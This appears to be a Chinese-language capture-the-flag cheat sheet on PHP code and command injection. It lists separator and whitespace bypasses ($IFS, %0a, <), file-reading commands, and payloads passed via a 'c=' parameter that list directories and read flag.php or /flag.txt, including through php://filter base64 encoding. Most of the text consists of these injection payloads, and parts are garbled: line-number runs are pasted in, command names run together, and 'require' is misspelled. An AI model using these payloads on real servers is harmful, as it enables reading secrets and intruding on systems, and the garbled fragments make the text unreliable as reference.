;封号&&:- 在PHP中
&&代表执行两个命令,让后面的命令进入黑洞。 - 在shell及bash脚本中
&&(逻辑与):只有前一个命令成功(返回值0)时,后一个命令才会执行。如果前一个命令永远不会失败(如echo),则&&和;看起来就像是等价的
- 在PHP中
%0a即\n换行
Space空格Tab:Tab(制表符)在 ASCII 码中是\t(十进制 9)。Space(空格)在 ASCII 码中是\x20(十进制 32)。在许多编辑器(如 VSCode、IDEA)或
expand命令下,Tab可以被自动转换为多个Space(一般是 4 个或 8 个)。例如,Python PEP 8 规范推荐用 4 个Space代替Tab。在 Shell 命令行中,多个空白字符(包括
Tab和Space)通常会被解析为相同的分隔符。在
Makefile里,缩进 必须是Tab,不能用Space。
$IFS:$IFS代表shell里面的空格
<+%20
catmorelesssorttailheadsedcutawkstringsodcurltacnl1nl {filename}.xxviinclude('/flag.txt')reuqire('flag.txt')reuqire_once('flag.txt')
c=print_r(scandir(dirname('__FILE__')));print_r(scandir('./'))参数=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}var_dump(scandir("/"));参数=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
file():1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25//payload示例 c=echo file_get_contents('flag.php'); c=echo highlight_file('flag.php'); c=highlight_file("flag.php"); c=show_source('flag.php'); c= $a=fopen("flag.php","r"); while($b=fgets($a)){ echo $b; } //file()函数:把整个文件读入一个数组中 c=print_r(file('flag.php')); c=var_dump(file('flag.php')); c=readfile("flag.php"); //一行一行读取 c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} //一个一个字符读取 c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}file_get_contents()highlight_file()show_source()fgets()readfile()fopen()include " ":1 2 3 4 5 6 7c=include('flag.php');echo $flag; c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php c=include('flag.php');var_dump(get_defined_vars()); //var_dump:输出注册变量 //get_defined_vars():函数返回由所有已定义变量所组成的数组